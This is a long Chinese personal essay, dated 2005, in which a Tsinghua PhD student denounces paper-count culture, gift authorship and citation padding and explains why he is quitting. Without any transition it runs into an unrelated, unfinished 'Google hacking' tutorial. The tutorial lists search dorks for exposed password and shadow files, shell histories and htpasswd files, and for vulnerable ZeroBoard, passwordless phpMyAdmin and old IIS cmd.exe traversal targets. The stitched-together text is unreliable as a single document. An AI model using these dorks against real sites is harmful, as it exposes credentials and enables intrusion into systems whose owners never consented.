我的导师就是以前写了一篇有关这个的paper发到IEEE transactions。我觉得这篇论文还算有一定价值,但是年代已久。已经毕业的一个师兄就在他的论文基础上修改来修改去,发了好几篇paper。英文的不够还翻译成中文,投到国内的期刊。后来一个师姐又在这个师兄的基础上进行修改,又发了好多篇。可是在我看来,他们的论文纯粹就是炒冷饭,没有什么创新,很多时候就是加速一下。学过算法基础的人都知道,把NP-Hard问题分解成几个小部分,每一部分用一个别人的精确算法解决,然后再连接起来,就可以得到一个近似解。这种做法在解决具体问题时只需要一句话就能说明白了,可是他们却对每一个具体问题写了论文,而且一写就是好几篇。要是每一个问题经过这样的加速都写一篇文章,那文章数就可以成倍增长了!我们领域的很多问题形式化成一个规划问题就解决了,可是每次形式化一个问题就发一篇paper,而对方法完全没有改进,对于我来说是没有价值的,就像做小学应用题一样。虽然没有创新,还是可以发paper。主要是你怎样把你的 Introduction 写好?可以让别人觉得你的工作有意义?这就是功夫,作家的功夫。我有一次面见INRIA的头目 Jean-Claude Paul 时,他就对我说:“Tsinghua students are all writers, not scientists.”

现在清华研究生做的事情无非就是,拼命写paper,然后找个地方投出去。SCI,EI 的最好,偏僻的没人看的杂志也没关系,交钱也没关系。我就知道日本的一个SCI索引的期刊收1000美元的版面费。导师出钱,不投白不投,投了好毕业呵!你不知道在比较穷的学校,有多少人投中了都没钱去开会啊!很多人羡慕清华,就是这个原因。

现在我也被“分配”来做这个问题。虽然说是一个“有名”的问题,但是它已经被研究了好几十年了。有很多挺厉害的人做出了很重要的贡献,但那已经是几十年前的事情了。我们为什么研究这个问题?我至今没有搞懂。开头导师只是给了我有关这个问题的两篇paper。我对其中一篇的一个说法产生了怀疑,所以我决定写一个程序来验证谁对谁错。这本身不是什么创新的工作,可是我却从这个程序改进得到一个新的算法来构造布线用的 Steiner 树,实验表明我的算法比以前的算法要快几倍。

这是不是说我的算法是一个值得写paper的东西呢?导师说我应该写一篇,但是我认为我只是在挑别人的毛病时意外想出了一个改进的算法,并不会对将来的研究有什么启发。虽然程序快了一些,但是很少有那么大的线网需要这么快的算法。几倍的提高不算是一个理论上的改进,而且这个算法实现复杂,还不能推广到其他距离空间,可扩展性很低。所以我觉得这个结果不令我兴奋,不想写论文,我想进行新的题目。但是在老师的一再要求下,我居然把这个结果写成了两篇paper。按照他的说法:“应该分阶段总结你的成果。”

起初投出去的时候评委总是说这个东西不实用,导师说这是评委的问题,他们觉得不实用我们就投到理论一点的会议。经过几次投稿,还是失败了。我终于忍不住了,对副导师说出我的想法,我说:“看一个作家的水平,是看他扔在垃圾筐里的纸。就让我把这篇paper永远藏在我的垃圾筐里吧。” 但是他不甘心,说你要相信自己的实力,然后把我的算法夸奖了一番,说我的算法有理论价值。其实我很清楚,它没有什么理论在里面。我说我不管了,随便你怎么办。我就开始研究我自己喜欢的东西去了。之后他居然真的投中一个欧洲的会议,是被 LNCS 收录的,LNCS 是 SCI 索引的,所以我居然有了一篇 SCI 文章!我自己不喜欢的文章也是 SCI 了!

第二篇论文就更传奇了。几投不中,就其原因,评委说是没有和现在“最先进”的算法程序实验比较。我本来就觉得那个“最先进”的算法没什么理论价值,所以才没有找他要代码。没办法,还是求他给我代码。比了一下,确实比他快。不过我估计他程序写的有毛病,从实验数据来看,运行时间增长的速度不符合他论文里声称的时间复杂度。所以我怀疑有可能是实现上的问题,而不是我的算法更好。我的一个师兄以前就把他自己的算法戏称为“基于bug的优化”。我觉得这样比较对那个算法的作者不公平,而且速度提高几倍,没有什么意义,我觉得没有发表的价值了。但是导师说,虽然速度只提高了几倍,在巨大的线网上时间就会就会短很多。我说实际上没有那么大的线网,对于一般的线网,原来的算法时间本来就很短了,再快几倍也只能快几秒钟。他说那就考虑很多的小线网总可以吧,电路里总会有很多很多线网的。可是有NP理论基础的人都知道,小规模的问题完全就没必要用近似算法了,再多的小规模问题加起来还是小规模问题。总之,他其实只是要我找一个理由让人觉得我的算法有实际的价值。没办法,我就记录下数据,添到论文上,然后在介绍里写上:“由于电路的发展,线网肯定会越变越大……” 其实我知道,即使线网大小成为天文数字,也只能让我的算法比别人快几分钟而已。不过这下子论文一投就中,得了一个最佳论文奖。然后就有一篇校内新闻宣传:“我校王垠同学获得XXX会议最佳论文奖。这是大陆学者首次在如此高级别的会议上获得如此高的奖项。” 这个“高级别”的会议,在我看来就是个垃圾。美国人都把最差的论文投到这里,就是为了来旅游一圈而已。会议开完,我就把两块大砖头一样的论文集悄悄放在宾馆的书架上走掉了,因为太重了。

论文被接受之后,导师和副导师就在讨论时商量怎么写作者列表。我一个人写出来的论文,最后作者列表里有6个人。除了导师,副导师,还有一个并未参与讨论的师妹和另外两个老师。我也不知道这三个人知不知道我写了他们的名字,不过后来我发现我的名字也不知不觉出现在我师妹的两篇论文里。接着他们又跟我商量,想在论文末尾加入对我们组几篇论文的引用。我根本没有参考过他们的论文,为什么要引用啊?不就是为了增加引用数嘛!我就被有些人论文里引用无关的论文坑害过,搜索了半天搞来的论文,居然跟研究的东西毫不相关,这对读者是非常不负责的。我很反感这种做法,但是没办法啊,我只好把他们的文章都引用了。我觉得这简直就是一个游戏,在论文之间制造一个网络,让读者在其中迷路。

火山小规模爆发

第一篇投中了会议之后,副导师就继续要我为算法申请一个专利。写这个论文我都已经焦头烂额了,一点都不感兴趣。现在还要写专利,“要像教小学生做这件事一样,一步一步的把算法写清楚,举出实例”。我觉得快不行了,再这样折腾下去,我到博士毕业也许也就只搞出这些小儿科东西吧!我终于小规模爆发了一次。我坦荡的告诉了副导师我的想法,我觉得做学问应该是什么样,我觉得这么点东西不值得申请专利。我还告诉他我对国内的研究环境很失望。

他赶忙找我谈谈。对我说,我知道你心中有很大抱负。所以这次就不写专利了。我知道你想有更好的研究环境,但是不踏踏实实做好现在的工作,又怎么能有大的创造呢?然后就开始举爱因斯坦,居里夫人的例子…… 然后说,其实你在这里好好努力,将来出国的机会多的是,你想去Harvard也行,你想去Princeton,都行啊!

你说行就行?你去去给我看看?我们实验室从来就没有去这些地方的。踏踏实实的意思难道就是一直研究这些我认为不值得研究的东西?这叫不求上进。一天到晚考虑这些低级陈旧的问题,就永远也只能研究这些问题。继续这样做下去,以后哪个真正的科学家还会要我?

默默求索,转向计算几何失败

我对自己的做法产生了深深的负罪感,觉得自己正在进入这团混沌,正在被同化。我于是决定一定要换一个题目研究,我就开始考虑zero skew tree。找了20多篇paper来看,发现他们没有什么本质的进步。我的计算几何知识告诉我,有些论文里的内容,其实可以用一句话说清楚。它们只是在某一篇论文基础上改了一点点,但是却要写成另一篇论文。最让人惊讶的是,对于问题本身的价值,他们完全就不清楚。有的作者后来甚至说,其实以前他们考虑的问题是没有必要解决的,因为实际应用中不可能遇到,我们其实可以把问题变成这样……你们费那么大工夫写了那么多论文,我花了那么多工夫看,到头来你们又跟我说以前的问题没必要解决!

说到这些,有人总是跟我说“失败是成功之母,很多时候研究就是要搞清楚什么问题重要啊!” 但是我真的觉得,如果他们不是论文机器的话,这个领域的人就是缺乏预见力。他们总是在没有搞清楚问题的重要性之前就开始解决问题,然后写出很多论文之后,才告诉读者,这个问题其实没有实际意义。当我给Andy Yao的学生提出这些问题,想跟他们讨论时,他们摇摇头,觉得太麻烦了,没有价值。他们研究美好新颖的问题去了,而我就这样陷落在充满陈旧问题的垃圾论文的海洋中。我觉得我研究的问题不能再从论文里来了!

当我提出我们方向的研究应该是实用研究,需要从实际中来的问题时,导师总是告诉我"不要拘泥于现实,你研究的比较理论,理论的东西将来才会有用"。“理论的东西将来才会有用",这是一句很有用的借口,几乎可以掩盖所有的失败和没用的论文。这句话已经被滥用了,只有具备天才的直觉和预见力的人,才有资格说一个理论在遥远的将来会有用。我不是天才,导师也不是。我们不是Riemann,不能提出一个hypothesis让大家感觉到美,觉得多年以后肯定会有用,那么就老老实实解决实际中来的问题吧!我于是决定停止研究我们领域的东西,转而研究我喜欢已久的计算几何。

在我多次请求之下,导师终于同意我专心研究计算几何。不过由于我的前两篇论文是受到计算几何启发而来的,他总是想希望我能够再把计算几何的方法用到布线算法上。他请我的计算几何老师来实验室作了一次报告,介绍一些基础的算法。之后我就试图专心研究计算几何。可是同样的问题产生了。我废寝忘食的看了一篇篇的计算几何论文,却发现别人的问题也是从实际中来的,是图形学,医学成像,生物信息等应用的需要。他们的作者都是跟相关学科的专家有密切接触。他们的算法并不难想出来,但是我却没法得到最原始的实际问题。我觉得搞不下去了,就找计算几何老师谈,他说:“计算几何这个学科发展了这么久,理论的东西已经几乎全部解决了,现在已经到了跟实际结合的阶段。我们这里没有人一起讨论,很难能有什么值得研究的问题。你看我,搞了六七年,什么也没有搞出来,原因就是没有实际的问题。我有一个学生在这边的时候不怎么样的,可能还不如你,可是到美国去了之后就出了很多成果。因为那里有很多人一起激烈的讨论,讨论就是产生问题的时候。” 后来我又去跟来访的计算几何专家滕尚华说我想研究计算几何,请他指点。他说:“我不认为你能在这里搞好计算几何。我的问题都是从实际中来的。比如一个物理学家跟我聊天,他就会告诉我什么问题需要解决。或者一个网络专家,也向我描述有关的问题。你这样空看论文是做不出什么东西的!”

讨论,激烈的讨论,可是我们这里没有。我如果只看论文就只有捡别人做过的二手问题!

机器学习,“我们不能支持你了”

计算几何让我再一次失望了,原因还是没有讨论。我有点灰心丧气的时候,王益从深圳研究院给我打来一个热情洋溢的电话,说他在香港城市大学时合作过的一个老师要来清华讲“机器学习”,他马上就要特地回到清华来给他当助教。他说这个老师很好,把深奥的数学也能讲的生动活泼,浅显易懂。在他的鼓动下,我就决定去试一试,看看能不能在这个方面有一些发展。

老师讲的确实精辟,而且这个课程很重视“研究”。每堂课几乎都是讨论,老师经常要求学生上台自己讲,而且要提出自己的想法,不只是复述别人做过的东西。机器学习跟人的思维和很多哲学原理都有关系,这些是我一直以来都好奇的东西啊!我忽然对这个学科焕发了十八分的热情。因为我完全没有基础,我就开始就一整天一整天的看机器学习的书,期望能够短期之内能够与王益和老师进行比较深入的讨论。我后来成为了小组长,组织我的小组进行讨论。大家都很热心,提出了很多新的思路。我在讨论时还给他们糖吃,大家都很开心。啊,我梦寐以求的研究的感觉又回来了!

可是这个时候,导师叫我去谈话。他说让我准备把以前那两篇论文改一下投到期刊。啊!垃圾一样的论文,现在还要投到期刊,成为永恒的垃圾!我的反感情绪爆发了。我直接告诉导师,我不打算做这个方向的任何事情了,我要去试试在机器学习上有没有可能有所建树。导师似乎有点恼火,对我说:“上次同意你搞计算几何,你搞了一整子又放弃了。现在又要搞机器学习。计算几何对我们的领域还有所帮助,可是机器学习就跟我们完全没有关系了。如果你执意要研究那个,我们可就不能支持你了。你已经4年了,换个方向不可能了。如果你执意要这么做,你将面临退学。” 我有点生气了,说:“我不在乎这个学位。我只要做真正的研究!” 他说:“你好好考虑一下吧。退了学,清华的资源你都利用不到了。清华的网络,图书馆…… 你有没有考虑过你父母?人不是靠理想活着。你有没有考虑过我们教研组为你付出的心血?……”

心血?你们对我没有任何有益的指导,却只有误导。每个月给我那点钱吊着一条命而已。而我的论文却可以为你们申请多少钱的973项目!我够对得起你们了。我不要再给你们做论文机器!

我当时没有说出这些心里话,面对导师的威严,我深深吸了一口气,说:“好吧。我再考虑一下。” 谈话就这样不了了之,但是我仍然背地里活跃在机器学习的课程上。

西藏之行,最后的告白

机器学习的课程持续了一个月就结束了,接着就放暑假了。我决定换一种生活,就去了西藏旅游。虽然路途艰险,但是我包揽了美景,长了很多见识,认识了很多朋友。本来8月4号就出发回来,不巧回来的路上遇上了泥石流和塌方,两次改道。路上又由于缺氧致使坐车时经常出现手脚严重麻木,甚至失去活动能力的问题。我经历辛苦之后,回到眉山家里休养了一段时间,又到成都作了身体检查。

回到学校早已经开学了。去实验室拿两个月的助学金,却发现已经被实验室的管理老师扣留。他说导师有话,这些钱暂时扣留,等他发话才能给我。我心里一沉,不给我算了,我继续搞我喜欢的研究。没过两天就接到副导师的电话,让我去实验室谈话。他们两个用永远不变的笑脸面对着我,说“想清楚了吗?” 我冷静的说:“我想清楚了。我们的研究存在严重的问题。我不能再继续下去。如果必须研究这些东西,我就准备退学。” 导师经过一番举例爱因斯坦,居里夫人,叫我踏踏实实的说教无效之后,严厉的批评了我只顾自己,不顾及教研组为我付出的心血。然后说:“要是你不能再为实验室作研究,我们就不能支持你了,前两个月实验室发的钱我收回。你可以马上写退学申请,我们实验室没有什么损失,我们有的是人干你的事情。不过我要告诉你,你一旦退学,连学校的住宿都要被收回!”

副导师也收起他永恒的即使在生气时都保持的笑脸,开始咆哮:“是啊,你瞧不起我们。我们是没有你聪明,可是我们勤勤恳恳……你知道你得的那个best paper award,我们付出了多少努力吗?你认为这么容易拿到吗?那是多少国外专家鉴定……”

我安静的等他说完。他平息下来之后,我说了一声“再见”,然后默默地走出了办公室。

剩余价值

晚上收到副导师的email说:“还有一件事需要向你说一下:你在学校学习期间所取得的成绩包含你的努力、导师的指导帮助、同学们的帮助,还有学校和国家的支持。你作为博士生学习阶段取得的成果属于教研组、学校和国家。正如同我们作为职务发明的专利属于学校一样。

你在MST、SMT等方面取得了结果,它属于教研组、学校和国家。单位有责任进行合理的应用,为国家建设、国家荣誉服务。有责任进行进一步的整理丰富、向高水平的刊物投送。这里我们想说明一下上述的情况,同时,也告诉你一下:你若愿意将这些成果进行进一步的整理、我们已经给你提出了具体的修改意见,欢迎你按照进行修改。你若放弃,我们将进行具体的改进、投递。我们将尊重你的意见。谢谢。”

最后还是没有忘了paper的剩余价值。进一步验证了我的判断,他们在乎我吗?不。他们只在乎paper。至于我流离失所,又有何相干?我不知道有多少不知情的弟弟妹妹又会把他们的研究建立在我不屑一顾的paper之上。

醒悟,paper的奥秘

清华研究生谈论的重点是什么?是 paper。吃饭的时候谈,喝茶的时候谈,睡觉的时候也谈。隔壁的同学在进校第一年就为paper惶惶不可终日,说:“你知道吗,他们要求我们发SCI,怎么办呢?我几个师兄都是因为没有paper延期毕业的。” 他的老师是个院士,可是他在手下就干一些写word文档之类的杂活还忙得要命,根本没有时间思考问题。

学校有规定,博士生必须发4篇paper才能毕业,其中必须有一篇是SCI索引,或者两篇EI索引。看上去冠冕堂皇的SCI, EI,不就是跟 google 差不多的东西吗?被它索引了怎么样了?对文章的篇数作要求,而对质量没有判断。投一个SCI太容易了,只是很多人不知道门路。能力一般的人也能很容易的投够论文,然后就可以不思进取的等着毕业。但是不知门路或者被老板(一般研究生对导师的称呼)压迫干活的人就惨了,不知道怎么才能发论文,拖个六七年毕业是常有的。这样的学校又怎么可能有讨论,怎么可能有创造力?SCI=Silly Chinese Index。

学校没有能力评价学生的水平,就拿文章数来衡量。这样的毕业标准造就的是怎样的学生,怎样的实验室呢?难道导师真的没有能力判断paper的好坏吗?有些是,但是有些不是。即使他知道你的论文没什么价值,也会叫你发表。国家看什么来拨款研究?看paper。看什么来评价一个学校的水平,也是paper。国家没有能力评价你的能力,当然只有看你有多少paper。所以有了paper就有了钱。只要你能写paper,培不培养你,你将来的发展,关我们什么相干?你写的paper别人能不能看懂,能不能转化成生产力,管我们什么相干?怪不得有的院士想尽办法也要多收学生,宁愿自己帮学生出学费也要他进来,因为学生就是财源。paper可以带来基金,可以在美国买小车洋房,没有基金就让学生干活吧。一个月几百块钱吊着一条命在那里为你拼命,谁叫他们想要那个博士学位呢!学生毕业出国了,对他好一点就可以形成良好的关系网,互相引用paper,互相夸奖。只要你说得到“国外专家”的肯定,别人还能说你什么?开会审论文时就放水,看到某篇paper的话题似乎是熟人的就录取。写论文时就把跟自己有关系的人的名字都挂到作者里面,不管参考了与否,引用自己人的论文,增加他的引用数。如果用图论的方法把文献的作者,参考过的文献做成关系图,合作过的作者之间都有边,A参考B,那么从A到B有一条边。那么中国人正在这个巨大的图上不断制造和扩大强连通分量(clique)。不断的破坏正确的学术规则。

告别清华的博士学位

现在我已经厌烦了国内所谓的“学术”。我准备放弃清华的博士学位,出国找个好老师,进行真正的研究。博士第4年了,做出这样的决定真是不容易。有人告诉我不要放弃,你知道有多少人正在羡慕你?你知道一个清华的博士学位有多么值钱吗?但是我不能这么沉默下去了!

博士学位,累坏了多少年轻的中国人!我不再为它浪费我的青春。我知道国外大部分研究也不是那么好,如果国外也找不到好的老师,我就永远离开学术界,找一个简单的工作,和我心爱的人一起生活。有人说这是浪费人才?在清华混沌的过日子才是浪费呢!当一个侍者至少也让我感到对社会有贡献,看着顾客满意,我会露出笑容。可是做一个博士却没有。我感觉自己是个没用的人。

我已经完全看透了中国教育的失败。我高中的时候就受到它的伤害,这种伤害延续到现在。中国教育已经成为埋没人才的祸首。留在这个圈子里就是屈服,我不出声,大家都不出声,这个世界就会继续这样郁闷的运转下去。我今天要对这个系统大声地说一声“不!”

我离开了。可是中国永远也不缺少为清华拼命的人!因为他们的妈妈会告诉他们,清华是全中国最好的学校。你要考上清华,为我们光宗耀祖……

Segmentation fault ! Core dumped —我写本文的目的

Repair what you can — but when you must fail, fail noisily and as soon as possible. —Basics of The UNIX Philosophy
修复你能修好的—但是如果你必须失败,那就尽快喧闹的退出。—UNIX基本哲学

我不是一个中国教育操作系统下优良的程序。我在系统里运行了将近20年,快到最后的时候才喧闹的退出,Dump出这么大一个core file。我知道优秀的程序很早就退出了,我自愧不如他们。但是有的程序一声不响就退出了,还有很多的程序成为了zombie,永远的驻留在系统中成了系统的负担,在这一点上我又比他们好一些。至少我让程序员有机会用调试器检查core文件,调查这个程序运行中哪里出了问题。

“你退学就退学,干吗大惊小怪,牢骚满腹的?” 如果只是有牢骚,我就把隔壁同学拉过来一起发发牢骚就完事了。可是我虽然不是优秀的程序,我觉得应该为修复这个系统,修复自己做点什么。我希望国家的教育和研究环境好起来,这样大家就安心的生活,不用出国搞得奔波流离。有多少恋人由于一个人出国了而痛苦的分手,有多少父母在盼望海外游子的归来?我不能像很多人那样申请了国外的学校,拍拍屁股就走人。我一年前就考GRE想出国,可是我总是自欺欺人的幻想国内的境况会好起来,有时我觉得看到希望,可是马上希望又破灭了。一个个大师来了,让我一次次燃起希望,可是发现他们对环境的作用也不大。一些大师不满意,又走了。我自己也想尽力改造环境,结果经过多次努力无效,自认能力不够,终于放弃了。

在发现大家都忙着发表paper而没有讨论时,我曾经建议设立一个清华的THU-Technical Report。我的想法是:最差的草稿扔在垃圾堆里;可能有用但是还不值得向所有人公开的东西发到THU-TR,供系内查阅;如果发现THU-TR的东西会有用,再好好修改了转投会议或者期刊。系学术助理王磊很高兴的采纳了我的建议,并且自愿维护一个THU-TR的编号。可是根本没有人愿意把自己好不容易写出来的但是确实又不值得发表的东西投到这里,因为世界上总有地方可以把这个东西投出去,还是SCI和EI,而这个THU-TR连正式刊物都不算。后来有人告诉我,如果学生都把东西投到我们这里,不知道有多少导师会跟我们急。所以THU-TR的计划就这么告罢。

我写信给Knuth,这个我相信是真正的大师。我说我想退学,想请他推荐一些真正的研究者给我做老师。他回信说“你先找精通中国文化的长者谈谈”。我意识到他可能觉得这是一个文化的问题。我于是想知道中国的科技为什么搞不好,就开始看一些有关文化的东西。后来居然跑到中国社会科学院去听新竹清华大学人文学院的院长讲座,后来又在清华参加了人文学院的研讨会。会上一个老师说的好,当一个制度没法衡量学术水平本身,它就会用一个似乎等价的标准,比如paper数或者高考分数。但是一旦这个标准被确立,人们就会向着这个标准努力,而不是向学术水平本身。他们总会发现制度的很多问题,找出破绽,去达到这个标准,而不是提高自己的学术水平。最后,这个标准已经完全不能反映水平本身。我就在想,这个问题大了,这不仅是环境,制度,而且还是长久以来的文化造成的。从新竹清华大学院长的讲座里,我发现英国人是怎样用科学技术打开了中国的大门,而乾隆皇帝是如何对科学不感兴趣。中国似乎从古到今就不重视科学技术的,中国有自己的优势,自己的文化。对啊,科学技术是个双刃剑,如果照美国那样发展下去也不知道会怎么样。我们中国的文化是瑰宝,但是它已经被外国的坚船大炮打得遍体鳞伤。这不是我们的错,但是我们要努力恢复自己的文化,不能总是怨天尤人。我就开始看道德经之类的东西,还去西麓学社参加古代文化讨论活动,后来又开始打太极拳。

在对清华的研究完全失望了之后。我就准备考GRE,TOEFL出国了。我去上了一个新东方的班,没学到什么英语方面的东西,倒是接触了很多新的思想。罗永浩的言论特别有趣。虽然我不是完全赞同他的意见,他说的很多话改变了我的思维定势。写GRE作文特别培养思维能力。我为了写GRE作文,常常为了一个不明白的问题到图书馆翻阅英文的哲学书籍,有关教育的书籍…… 对于很多问题我得到了完全不同的观点。大学的目的是什么?人的价值观是由理性决定的吗?等等等等。我读到了亚里士多德,柏拉图,康德等人的言论。甚至有个哲学家说 "All Animals Are Equal". 我看了他的文章觉得有很多可以批驳的观点。我看到迪卡尔的文章,说“要掌握科学就要掌握它的全部”,这句话真合我心意,我就是想做一个懂很多东西的人啊。我想结合艺术与科学。虽然我这个观点得到一些人的批判,但是我仍然相信迪卡尔。

从这些互相矛盾的观点中,我有了自己的判断力。我开始能够揭开从小蒙在我眼睛上的有色眼镜看问题。我开始检查我自己的思维,我以前的观点。看看它们是否是未经判断就盲目放进去的。我检查到很多很多的错误。我的待人接物,我对他人的理解上,都有不足之处。我还检查到妈妈传递给我的一些有色眼镜,小学课本给我们的有色眼镜。我开始学会用自己新的方式对待他人,看待事物。我不再盲目相信权威,哪怕他是诺贝尔奖得主,图灵奖得主。我有了自己的自由思维。

在那段时间,我感觉我的心智大门被开启了。我开始尝试从来没有做过的事情,以及从来不认为我能做好的事情。我一次又一次的相信我能。我能学会画画,我能打好太极拳,我能理解古典音乐…… 世界还有那么多美好的事情等着我去学习去开发啊!可是,我们却像囚犯一样被判了5年在清华。博士学位就是我们的枷锁。

在学习上,我永远是个吃不饱的人。选不了课,我就去旁听。旁听后觉得老师讲的不好,我就自学。在我有空的时候,我就会去图书馆借书看。在我本科的时候,我就已经发现自己的一个特点,我会很快发现新的东西,并且学会使用它。虽然这些东西并不是创新,但是它们丰富了我的技能,让我有更大的能力去进行创新。我经常顺藤摸瓜似的从一个问题搜索出一大串我想知道的东西。然后借一大堆书回来,每本看一点点,只为找到我需要的答案。

计算几何课的一次作业,我为了写一个算法的演示程序,花了3天时间学了一点Java语言,正好能够完成那个程序。我开始接触到TeX的底层细节,看完了The TeXbook,并且找出一道练习题答案的错误。开始移植gbkfonts程序,作为我的CWEB语言的练习。看完了几乎所有 Xlib 的手册,了解了 XWindow 的工作原理。我接触到 Scheme,并且做完了 SICP 的大部分习题,还自己想出好多问题用Scheme实现算法。后来花了好几个晚上,把MIT课程6.001的录像下载回来。我才发现教授上课可以如此搞笑有趣,上课时戴上巫师的帽子,做一些滑稽的表演。我终于明白,有的计算机科学家居然可以去好莱坞演电影 :) 这个课程让我领会到 LISP 的强大,改变了多年以来对这种古老语言的误解。它让我感觉到在看似纷繁复杂,不断更新的计算机语言的世界,还有那么一种永恒的美!我开始发现TeX语言过于复杂,想设计一种利用Scheme语言来排版的系统。接着我又学会了 Common LISP,并且开始用它来设计研究计算几何的一个函数库。另外还找了一些希奇古怪的程序来玩,写了一些心得体会放在网上给别人看。无可否认,这些都是工程技术的东西,不是科研。但是看到很多“计算机科学家” 写的程序一团糟,我才发现程序设计是一门艺术,而不是科学。我的心里对“程序员”这个词有了新的定义,在这种定义下,Don Knuth, Don Woods都是优秀的程序员。只要是有益的创造,就没有必要去在乎是不是科学。

我意识到自己数学还不够强,甚至有些怕,就开始看一些数学方面的书。Concrete Mathemtatics, What is Mathematics?, Science and Hypothesis, Godel Escher Bach, … 虽然每一本都没有看完,但是我逐渐相信自己的数学能力,发现数学原来如此有趣,并不是做习题那么枯燥,也不像一辈子就拼命证明一个定理那么清高。才发现国内很多数学书用难看的符号把学生吓倒了,其实想通了就是很直观的原理。

我看了电影 A Beautiful Mind 之后深受感动,就去买了一本原著的书,它是数学天才John Nash的传记。它描写了20世纪初的Princeton,一群科学家生活的情景。我眼前浮现出在一个房间里,一群人在喝茶聊天下棋讨论问题激烈争论。我发现我从小内心向往的,就是那样的地方。我看到Nash是如何用“头脑暴力”解决一个他没有任何基础知识的问题。原来只要有了问题和探索的精神,就会有动力去获得解决它所需要的知识,最后将问题解决。发现有用的,重要的问题,而不只是寻找困难的问题,这样才会对人类有价值,才会有动力。我还看到一个数学天才是怎样的喜欢恶作剧,又怎样因为过度的傲慢狂妄,想向世人证明自己的天才而发疯。我发现世界上有远比科学更宝贵的东西。我不是一个天才,但是我要做一个好人。

但是我的研究却没有多少进展,至少我自己这么认为。我发现问题的根源,就是没有真正的讨论,没有真正的问题。

我觉得再没有从实际出发的目标,我的研究就会完全变成纸张了,就像我高中感觉到的一样。所以后来我就自己设立了一个研究方向,我把自己称为“研究博士生”,我要去了解博士生都是怎么样生活的。我就想知道有多少学生有跟我类似的困境。我跟很多朋友谈过,去了解他们的苦衷,研究生也有,本科的也有。我觉得我还应该了解更多的人,就试图到研究生通讯社做记者,心想挂一个记者证,就好跟人套磁问一些问题了。结果他们说我口才不好,所以做了一个秘书。后来记者们告诉我,他们是由上级分配任务的,根本不可能让你去报道学生真正的想法。我为了多多接触外国文化,比较中西文化的不同,又加入了学生对外交流协会(ASIC),我在ASIC有了很多好朋友。博士生论坛的时候也有很多同学跟我反映研究上的问题。讨论成立特别兴趣小组(SIGs)的时候,我就提议成立一个Common Room,一个同学说她去 Stanford 的时候那里就有很好的 Common Room,很多人在一起讨论,这是国外大学斯通见惯的东西。我告诉Oxford的朋友我的想法,他很惊奇地说:“你们居然没有 Common Room?” 后来吃饭时我又找一些老师谈话,发现他们也对这个事情无可奈何。老师自己的办公室都要自己出钱,谁还能支持你们有这么大一个房间?而且即使有了房间,谁来讨论?还不就是拿着别人的paper,试图找点可以改进的地方,或者就讨论哪个会议好发paper。Common Room只是一个形式,只要有人感兴趣,随便找个茶馆也能讨论。问题就在于没有人有精力有心情进行真正的讨论,制度决定一切。我们无能为力。我觉得自己一个学生力量太小,曾经试图找大师帮忙。我找到Andy Yao,述说我的苦衷。结果他对我说:“别试图去改造环境!你没有这个能力。改造好你自己就不错了。" 改造好我自己,可是怎么改?所以我决定先换一个环境,到一个真正搞研究的地方去体会,去学习。

其实我不后悔进入川大,不后悔来到清华,珍惜一切的历史,因为没有它们,我也许就不是现在的我,有着自己想法的我。我也许就在安逸的生活中变得堕落。它们不完美甚至给我痛苦,但是我还是珍惜,珍惜这里的朋友,这里的一草一木。也许这就是爱。我会变得更好,我会挂念我的满目苍夷的祖国母亲。我会回来告诉你我学到的一切,我会给你和其他儿女真正的幸福,一定的!

2005年07月20日

首先要说明的是"什么是Google hack?"

前言
googlehacking其实并算不上什么新东西,在早几年我在一些国外站点上就看见过相关的介绍,但是由于当时并没有重视这种技术,认为最多就只是用来找找未改名的mdb或者别人留下的webshell什么的,并无太大实际用途.但是前段时间仔细啃了些资料才猛然发觉googlehacking其实并非如此简单…

googlehacking的简单实现

记得以前看见过一篇文章写的就是简单的通过用www.google.com来搜索dvbbs6.mdb或conn.inc来获得一些站点的敏感信息.其实使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
intext:
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似.

intitle:
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网页.同理allintitle:也同intitle类似.

cache:
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:)

info:
查找指定站点的一些基本信息.

inurl:
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:http://www.xxx.com/xxx/admin,用来找管理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.

link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL.

site:
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.

对了还有一些操作符也是很有用的:
+把google可能忽略的字列如查询范围
-把某个字忽略
~同意词
.单一的通配符
*通配符,可代表多个字母
""精确查询

下面开始说说实际应用(我个人还是比较习惯用google.com,以下内容均在google上搜索),对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会把一些敏感信息透露给他们.用google搜索以下内容:

intitle:"indexof"etc
intitle:"Indexof".sh_history
intitle:"Indexof".bash_history
intitle:"indexof"passwd
intitle:"indexof"people.lst
intitle:"indexof"pwd.db
intitle:"indexof"etc/shadow
intitle:"indexof"spwd
intitle:"indexof"master.passwd
intitle:"indexof"htpasswd
"#-FrontPage-"inurl:service.pwd

有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的.下面是我找到的一个FreeBSD系统的passwd文件(我已做过处理):

同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,我们可以用google来找网上使用这套程序的站点:
intext:ZeroBoardfiletype:php

或者使用:
inurl:outlogin.php?_zb_path=site:.jp

来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库操作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行操作.我们可以用google搜索存在这样漏洞的程序URL:
intitle:phpmyadminintext:Createnewdatabase

还记得http://www.xxx.com/_vti_bin/..%5C..%5C….m32/cmd.exe?dir吗?用google找找,你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl:winntsystem32
图三

